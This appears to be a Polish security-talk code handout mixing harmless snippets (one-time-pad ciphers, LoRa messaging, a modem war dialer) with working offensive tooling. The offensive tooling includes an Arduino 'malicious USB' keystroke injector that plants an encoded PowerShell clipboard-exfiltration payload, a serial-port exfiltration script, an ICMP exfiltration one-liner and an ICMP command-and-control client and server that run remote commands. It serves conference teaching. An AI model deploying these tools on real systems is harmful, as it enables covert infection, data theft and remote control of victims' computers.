www.linkedin.com/in/pawelmaziarz
twitter.com/pawelmaziarz
OMH-Vinci-2022.pdf - slajdy
aptm.in/h - historia protipów
alphasec.pl
Adam w pudełku, generowanie
function play($f) {
[Media.SoundPlayer]::new((gi $f)).PlaySync();
}
$songs = [pscustomobject]@{
"1"="0001.wav";
"2"="0002.wav";
"3"="0003.wav";
"4"="0004.wav";
"5"="0005.wav";
"6"="0006.wav";
"7"="0007.wav";
"8"="0008.wav";
"9"="0009.wav";
"0"="0010.wav";
"/"="0011.wav";
"!"="0012.wav";
}
"313/37 313/37 313/37 ! 00170 01204 01020 80707 00140 10309 05202 51411 03080 22322 18130 31522 12091 50320 00252 21405 12020 31719 23082 0 ".ToCharArray()| % {
if ($_ -eq " ") {
start-sleep 1
} else {
$f = $songs.$_
if ($f) {
play "wav/$f"
}
}
}
Cryptossiblis - program w Basicu dla Commodore 64, szyfrujący i deszyfrujący One Time Pad (szyfrowanie z kluczem jednorazowym). Poniżej fragmenty szyfrowania i deszyfrowania, pełna wersja jest w fazie kończenia. Jeśli jednak z jakichś przyczyn przyda Ci się coś więcej niż poniższe fragmenty - daj znać.
10 REM Encryption
20 EM$ = ""
30 FOR I=1 TO LEN(DM$) STEP 2
40 A = VAL(MID$(KM$, I, 2))
50 B = VAL(MID$(DM$, I, 2))
60 C = A + B
70 IF (C > AL) THEN C = (C-INT(C/AL)*AL)
80 EM$ = EM$+MID$(AL$, C+1, 1)
90 NEXT I
100 RETURN
210 REM Decryption
220 DM$ = ""
230 FOR I=1 TO LEN(EM$) STEP 2
240 A = VAL(MID$(EM$, I, 2))
250 B = VAL(MID$(KM$, I, 2))
260 C = A - B
270 IF (C < 0) THEN C = C + AL
280 DM$ = DM$+MID$(AL$, C+1, 1)
290 NEXT I
300 RETURN
Szyfrowanie OTP w JavaScript - kawałek kodu z aptm.in/webotp. Reszta w pub.alphasec.pl/webotp/otp.js.
encryptNumberString: function (nText, nPad) {
let eText = "";
nText = nText.replaceAll(" ", "");
nPad = nPad.replaceAll(" ", "");
if (nPad.length <= 0) {
return;
}
if (nPad.length < nText.length) {
// niedobrze, klucz mniejszy niz wiadomosc, niebezpieczne!!
while (nPad.length < nText.length) {
nPad += nPad;
}
}
for (i = 0; i < nText.length; i += 2) {
let nT = parseInt(nText.substring(i, i + 2));
let nP = parseInt(nPad.substring(i, i + 2));
if (!isNaN(nT) && !isNaN(nP)) {
let nE = nT + nP;
if (nE >= this.alphabet.length) {
nE = nE % this.alphabet.length; // modulo
}
if (nE < 10) { eText = eText + "0"; }
eText = eText + nE;
}
}
return eText;
}
Lista dostępnych portów szeregowych
Get-PnpDevice -class ports –PresentOnly
[IO.Ports.SerialPort]::GetPortNames()
Otwieranie, pisanie i czytanie z portu szeregowego
$port = New-Object System.IO.Ports.SerialPort "COM4",1200,None,8,one
$port.Open()
$port.Write("AT`r`n")
$port.ReadLine()
Zamknięcie portu
$port.Close()
Pełny War Dialer
$VerbosePreference = "Continue"
function Invoke-Dialer($from, $to, $portName, $speed = 1200, $readTimeout = 50000) {
function Invoke-ATCommand($port, $command) {
$port.DiscardInBuffer()
$port.DiscardOutBuffer()
Write-Verbose "Wysylam komende $command na port $($port.PortName)"
$port.Write("$command`r`n")
Start-Sleep -m 500
try {
$port.ReadLine()|out-null
$resp = $port.ReadLine()|out-string
$resp.Trim()
} catch [TimeoutException] {
"[TIMEOUT]"
} catch {
$_.Exception.Message
}
}
try {
$port = New-Object System.IO.Ports.SerialPort $portName,$speed,None,8,one
$port.Open()
if ($readTimeout) {
Write-Verbose "Ustawiam timeout dla odczytu na $readTimeout ms"
$port.ReadTimeout = $readTimeout
}
$port.DiscardInBuffer()
$port.DiscardOutBuffer()
Write-Verbose "Wylaczanie ECHO.."
Write-Verbose (Invoke-ATCommand $port "ATE0")
Write-Verbose "Wait for carier after dial=10"
Write-Verbose (Invoke-ATCommand $port "ATS7=10")
Write-Verbose "Carier Detect ResponseTime=1"
Write-Verbose (Invoke-ATCommand $port "ATS9=1")
$from..$to | ForEach-Object {
Write-Verbose "Rozlaczamy poprzednie polaczenie"
Start-Sleep 1
$resp = Invoke-ATCommand $port "ATH"
if ($resp -ne "OK") {
Write-Verbose "ATH odpowiedz: $resp, lipa jakas"
}
Write-Verbose "Dzwonie na $_"
$resp = Invoke-ATCommand $port "ATDT $_"
Write-Verbose "Odpowiedz: '$resp'"
if ($resp -like "CONNECT*") {
Write-Verbose "Connected, sending escape string (+++)"
$port.Write("`r`n")
Start-Sleep 2
$port.Write("+++")
Start-Sleep 2
$port.Write("ATH`r`n")
}
[PSCustomObject]@{"number"=$_;result=$resp}
}
} catch {
$_
}
finally {
Write-Verbose "Zamykamy port.."
$port.Close()
}
}
# Invoke-Dialer 101 108 COM14
LoRa - inicjalizacja
#define SS 18
#define RST 14
#define DI0 26
#define BAND 868E6
LoRa.setPins(SS, RST, DI0);
if (!LoRa.begin(BAND)) {
Serial.println("### LoRa.begin() failed!");
while (1);
}
LoRa - odbiór danych
int pktSize = LoRa.parsePacket();
if (pktSize) {
while (LoRa.available()) {
String remoteMsg = LoRa.readString();
}
}
LoRa - wysyłanie danych
LoRa.beginPacket();
LoRa.print("veni vidi Vinci");
LoRa.endPacket();
LoRaOTPCommunicator.ino
/*
* (c) 1898 Dark Vinci
* (c) 2022 Paweł Maziarz
*
* https://alphasec.pl/
* https://aptmasterclass.com/forge/#arsenal
*/
#include <SPI.h>
#include <LoRa.h>
#include <Wire.h>
#include "SSD1306Wire.h"
#define SCK 5
#define MISO 19
#define MOSI 27
#define SS 18
#define RST 14
#define DI0 26
#define BAND 868E6
#define MAX_LORA_PACKET_SIZE 250
#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
SSD1306Wire display(0x3c, 4, 15);
unsigned int debug = 0;
int alphabetLen;
String alphabet = "abcdefghijklmnopqrstuvwxyz1234567890,. -_?";
String key = "venividivinci";
int keyIndex = 0;
int otpEncryptString(String &msg) {
int i, j;
for (i = 0, j = keyIndex; i < msg.length(); i++, j++) {
int m = alphabet.indexOf(msg.charAt(i));
int k = alphabet.indexOf(key.charAt(j));
if (j >= key.length()) {
// niedobrze, klucz za maly, rolujemy, chociaz to nie jest dobry pomysl
j = 0;
}
if (k == -1 || m == -1) {
continue;
}
char sum = m + k;
if (sum > alphabetLen) {
sum = sum % alphabetLen;
}
char c = alphabet.charAt(sum);
msg.setCharAt(i, c);
}
return j;
}
void otpDecryptString(String &msg, int remoteKeyIndex) {
int i, j;
for (i = 0, j = remoteKeyIndex; i < msg.length(); i++, j++) {
int m = alphabet.indexOf(msg.charAt(i));
int k = alphabet.indexOf(key.charAt(j));
if (j >= key.length()) {
// niedobrze, klucz za maly, rolujemy, chociaz to nie jest dobry pomysl
j = 0;
}
if (k == -1 || m == -1) {
continue;
}
int sub = m - k;
if (sub < 0) {
sub = sub + alphabetLen;
}
char c = alphabet.charAt(sub);
msg.setCharAt(i, c);
}
}
void setup() {
alphabetLen = alphabet.length();
pinMode(16, OUTPUT);
pinMode(2, OUTPUT);
digitalWrite(16, LOW); // set GPIO16 low to reset OLED
delay(50);
digitalWrite(16, HIGH); // while OLED is running, must set GPIO16 in high
Serial.begin(1200);
while (!Serial);
Serial.println();
Serial.println("### LoRaOTPCommunicator by Dark Vinci (c) 1898");
SPI.begin(SCK, MISO, MOSI, SS);
LoRa.setPins(SS, RST, DI0);
if (!LoRa.begin(BAND)) {
Serial.println("### LoRa.begin() failed!");
while (1);
}
Serial.println("### Machine ready.");
display.init();
display.flipScreenVertically();
display.setFont(ArialMT_Plain_10);
display.setTextAlignment(TEXT_ALIGN_LEFT);
delay(1500);
}
void ledOn() {
digitalWrite(2, HIGH);
}
void ledOff() {
digitalWrite(2, LOW);
}
String msg;
char c;
String remoteMsgPrefix;
void loop() {
int pktSize;
display.clear();
pktSize = LoRa.parsePacket();
if (pktSize) {
while (LoRa.available()) {
String remoteMsg = LoRa.readString();
if (remoteMsg.startsWith("hpszhpsz")) {
sendPlain(key);
continue;
}
if (debug) {
Serial.print("[DEBUG] LoRa pktSize = ");
Serial.println(pktSize);
}
if (debug) {
Serial.print("[DEBUG] GOT: ");
Serial.println(remoteMsg);
}
remoteMsgPrefix = "+ remote:plain> ";
int remoteKeyIndex = 0;
for (int i = 0; i < remoteMsg.length(); i++) {
if (isDigit(remoteMsg.charAt(i))) {
continue;
} else if (remoteMsg.charAt(i) == '|'){
remoteKeyIndex = remoteMsg.substring(0, i).toInt();
if (debug) {
Serial.print("[DEBUG] remoteKeyIndex: ");
Serial.println(remoteKeyIndex);
}
remoteMsg.remove(0, i+1);
otpDecryptString(remoteMsg, remoteKeyIndex);
remoteMsgPrefix = "+ remote:encrypted> ";
}
}
if (remoteMsg.startsWith("hpszhpsz")) {
sendPlain(key);
continue;
}
Serial.print(remoteMsgPrefix);
Serial.println(remoteMsg);
display.clear();
display.drawString(0, 0, "< ");
display.drawStringMaxWidth(8, 0, 128, remoteMsg);
display.display();
ledOn();
}
}
if (Serial.available()) {
c = Serial.read();
Serial.print(c); // echo
if (c == '\n' || c == '\r') {
msg.trim();
msg.toLowerCase();
if (msg[0] == '/') {
handleCommand(msg);
msg = "";
}
else {
Serial.print("- local:encrypted> ");
Serial.println(msg);
int newKeyIndex = otpEncryptString(msg);
if (debug) {
Serial.print("[DEBUG] Sending encrypted message: ");
Serial.print(keyIndex);
Serial.print("|");
Serial.println(msg);
}
LoRa.beginPacket();
LoRa.print(keyIndex);
LoRa.print("|");
LoRa.print(msg);
LoRa.endPacket();
keyIndex = newKeyIndex;
if (debug) {
Serial.println("[DEBUG] sent");
}
display.clear();
display.drawString(0, 0, "> ");
display.drawStringMaxWidth(8, 00, 128, msg);
display.display();
ledOff();
msg = "";
}
} else {
msg += c;
}
}
}
void handleCommand(String command) {
command.trim();
if (debug) {
Serial.print("[DEBUG] handleCommand: ");
Serial.println(command);
}
if (command.startsWith("/debug")) {
if (command.endsWith("on") || command.endsWith("1")) {
debug = 1;
Serial.println("[CMD] Debug activated");
} else if (command.endsWith("off") || command.endsWith("0")) {
debug = 0;
Serial.println("[CMD] Debug deactivated");
} else {
if (debug) {
Serial.println("[CMD] Debug toggled (deactivated)");
debug = 0;
} else {
Serial.println("[CMD] Debug toggled (activated)");
debug = 1;
}
}
} else if (command.startsWith("/key")) {
command.replace("/key", "");
command.trim();
if (command == "") {
Serial.print("[CMD] Current key: ");
Serial.println(key);
Serial.print("[CMD] Current key index: ");
Serial.println(keyIndex);
} else if (command.startsWith("new")) {
String newkey = command.substring(3);
newkey.trim();
if (newkey.length() > 0) {
Serial.print("[CMD] Key changed. Old key length: ");
Serial.println(key.length());
Serial.print("[CMD] New key length: ");
Serial.println(newkey.length());
key = newkey;
keyIndex = 0;
}
else {
Serial.println("[CMD] Syntax: /key new <newkey>");
}
} else if (command.startsWith("index")) {
if (command.length() == 5) {
Serial.println("[CMD] Syntax: /key index <newindex>");
} else {
String newindexstr = command.substring(5);
newindexstr.trim();
int newindex = newindexstr.toInt();
Serial.print("[CMD] Old key index: ");
Serial.println(keyIndex);
Serial.print("[CMD] New key index: ");
Serial.println(newindex);
keyIndex = newindex;
}
} else {
Serial.println("[CMD] /key new|index <newkey|newindex>");
}
} else if (command.startsWith("/plainmsg")) {
command.remove(0, 9);
command.trim();
if (command.length() > 0) {
if (debug) {
Serial.print("[CMD] Sending plain msg: ");
Serial.println(command);
}
sendPlain(command);
Serial.print("- local:plain> ");
Serial.println(command);
} else {
Serial.println("[CMD] /plainmsg <msg>");
}
} else {
Serial.println("[CMD] Command not found");
}
}
void sendPlain(String info) {
LoRa.beginPacket();
LoRa.print(info);
LoRa.endPacket();
}
Złośliwy dysk USB, infekujący komputer i eksfiltrujący dane za pomocą nadajnika FM
/* @author Pawel Maziarz feat. Dark Vinci*/
#include <SoftwareSerial.h>
#include "DFRobotDFPlayerMini.h"
#include "Keyboard.h"
SoftwareSerial Serial2(0, 1);
DFRobotDFPlayerMini MP3;
struct Sound {
char *trackname;
uint16_t trackchar;
int trackdelay;
};
struct Sound soundNotFound = {"", -1, -1 };
struct Sound sounds[] = {
{ "0", 16, 700 },
{ "1", 1, 700 },
{ "2", 2, 700 },
{ "3", 3, 700 },
{ "4", 4, 700 },
{ "5", 5, 700 },
{ "6", 6, 700 },
{ "7", 7, 700 },
{ "8", 8, 700 },
{ "9", 9, 700 },
{ "a", 10, 700 },
{ "b", 11, 700 },
{ "c", 12, 700 },
{ "d", 13, 700 },
{ "e", 14, 700 },
{ "f", 15, 700 },
{ "intro1", 50, 3000 },
{ "intro2", 50, 3000 }
};
struct Sound *findSound(char *soundname) {
int i, len = sizeof(sounds)/sizeof(struct Sound);
for (i=0; i <= len; i++) {
if (strcmp(sounds[i].trackname, soundname) == 0) {
return &sounds[i];
}
}
return &soundNotFound;
}
void demoLoop() {
uint16_t t;
while(1) {
for (t=1; t<16; t++) {
play(t);
Serial.println(t);
delay(800);
}
}
}
void setup() {
Serial.begin(115200);
Serial2.begin(9600);
delay(7000);
installVinciMalware();
delay(500);
MP3.begin(Serial2);
MP3.volume(30);
}
void loop() {
int songdelay;
char buff[2];
if (Serial.available()) {
unsigned char c = Serial.read();
if (c == 2) {
songdelay = playSong("intro1");
delay(songdelay);
} else {
itoa(c, buff, 16);
if (!buff[1]) {
buff[1] = buff[0];
buff[0] = '0';
buff[2] = 0;
}
char buff1[] = { buff[0], 0x00 };
char buff2[] = { buff[1], 0x00 };
songdelay = playSong(buff1);
delay(songdelay);
songdelay = playSong(buff2);
delay(songdelay);
}
}
}
int playSong(char *songname) {
struct Sound *s;
s = findSound(songname);
if (s->trackdelay < 0) {
Serial.print("song not found: "); Serial.println(songname);
return s->trackdelay;
}
Serial.print("playing song: "); Serial.println(songname); Serial.println(s->trackchar);
play(s->trackchar+1);
return s->trackdelay;
}
void play(unsigned char Track){
MP3.playMp3Folder(Track-1);
}
void typeKeys(uint8_t *keys) {
uint8_t *p = keys;
while (*p) {
Keyboard.print((char)*p++);
delay(10+random(10));
}
}
void openWinRunDialog() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
}
void installVinciMalware() {
Keyboard.begin();
delay(2000);
openWinRunDialog();
delay(500);
typeKeys("powershell\n");
delay(500);
typeKeys("ni -f hkcu:\\software\\vinci|sp -n dark -v 'ZmlsdGVyIFNlcmlhbC1FeGZpbCgkcCwkcz0xMTUyMDApIHsNCiAgICAkYnVmZiA9ICRfDQogICAgW0lPLlBvcnRzLlNlcmlhbFBvcnRdOjpHZXRQb3J0TmFtZXMoKSB8IHNvcnQgLXUgfCAlIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICRwb3J0ID0gTmV3LU9iamVjdCBTeXN0ZW0uSU8uUG9ydHMuU2VyaWFsUG9ydCAkXywkcyxOb25lLDgsb25lDQogICAgICAgICAgICAkcG9ydC5PcGVuKCk7JHBvcnQuV3JpdGUoW2NoYXJdMik7JHBvcnQuV3JpdGUoJGJ1ZmYpOw0KICAgICAgICB9IGNhdGNoIHt9DQogICAgICAgIGZpbmFsbHkgeyAkcG9ydC5EaXNwb3NlKCk7IH0NCiAgICB9DQp9DQpmb3IoOzspIHsNCiAgICAkY2xpcCA9IGdjYg0KICAgIGlmICgkY2xpcCAtYW5kICgkY2xpcCAtbmUgJG9sZGNsaXApKSB7DQogICAgICAgICRjbGlwfFNlcmlhbC1FeGZpbA0KICAgICAgICAkb2xkY2xpcD0kY2xpcA0KICAgIH0NCiAgICBzbGVlcCA1DQp9';exit\n");
delay(300);
openWinRunDialog();
delay(500);
typeKeys("powershell -enc LQBqAG8AaQBuACAAWwBjAGgAYQByAFsAXQBdAFsAYwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIABoAGsAYwB1ADoAXABzAG8AZgB0AHcAYQByAGUAXAB2AGkAbgBjAGkAKQAuAGQAYQByAGsAKQB8AGkAZQB4AA==\n");
delay(200);
Keyboard.end();
}
Eksfiltracja po porcie szeregowym schowka
filter Serial-Exfil($p,$s=115200) {
$buff = $_
[IO.Ports.SerialPort]::GetPortNames() | sort -u | % {
try {
$port = New-Object System.IO.Ports.SerialPort $_,$s,None,8,one
$port.Open();$port.Write([char]2);$port.Write($buff);
} catch {}
finally { $port.Dispose(); }
}
}
for(;;) {
$clip = gcb
if ($clip -and ($clip -ne $oldclip)) {
$clip|Serial-Exfil
$oldclip=$clip
}
sleep 5
}
Lista ostatnio wykonywanych poleceń (aptm.in/protip/003a):
$i=gp HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU; $i.MRUList.ToCharArray()|%{$i.$_}
Historia powershella (aptm.in/protip/0019):
cat (Get-PSReadLineOption).HistorySavePath
Wyświetlanie payloadu pakietów ICMP Echo request w Pythonie (aptm.in/protip/000f):
python3 -c 'from scapy.all import *; sniff(filter="icmp and icmp[0]=8", prn=(lambda x: print(x[1].src, x[ICMP].load) if hasattr(x[ICMP], "load") else None ))'
Wysłanie pakietu ICMP Echo request ze wskazanym payloadem:
[Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100, [Text.Encoding]::UTF8.GetBytes("Żółw"))
Eksfiltracja danych po ICMP w Powershellu:
(ipconfig|Out-String) -split "(?s)(.{1472})" -match "."|%{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100, ([Text.Encoding]::UTF8).GetBytes($_))}
Komunikacja C2 po ICMP - klient w Powershellu:
$sleep = 10; $target = "aptm.in"
while ($true) {
$ping = New-Object Net.NetworkInformation.Ping
$r = $ping.Send($target, 100, [Text.Encoding]::UTF8.GetBytes("u:$env:USERNAME"))
$r = [Text.Encoding]::UTF8.GetString($r.Buffer)
if ($r -match "^c:(..*)$") {
(iex $Matches[1] *>&1 | Out-String) -split "(?s)(.{1400})" -match "." | % {
$ping.Send($target, 100, ([Text.Encoding]::UTF8).GetBytes("r:$_"))
}
}
Start-Sleep $sleep
}
Komunikacja C2 po ICMP - serwer w Pytohnie + scapy:
import string
known_ips = {'127.0.0.1'}
def handle_load(load):
path = "./data/%s" % load
try:
return "c:" + open("./data/%s" % load, "r").read().strip() # evil backdoor =)
except:
return "#"
def handle_ping(pkt):
if (pkt[2].type == 8):
try:
dst=pkt[1].dst
src=pkt[1].src
seq = pkt[2].seq
id = pkt[2].id
load = pkt[3].load.decode('utf-8')
if load.startswith('u:'):
load = load[2:]
if src not in known_ips:
known_ips.add(src)
print ("new client: %s (%s)" % (src, load))
reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seq=seq)/handle_load(load)
send(reply,verbose=False)
if src in known_ips:
print ("payload from %s: %s" % (src, load))
except:
pass
if __name__=="__main__":
sniff(iface="eth0", prn=handle_ping, filter="icmp and icmp[0]=8")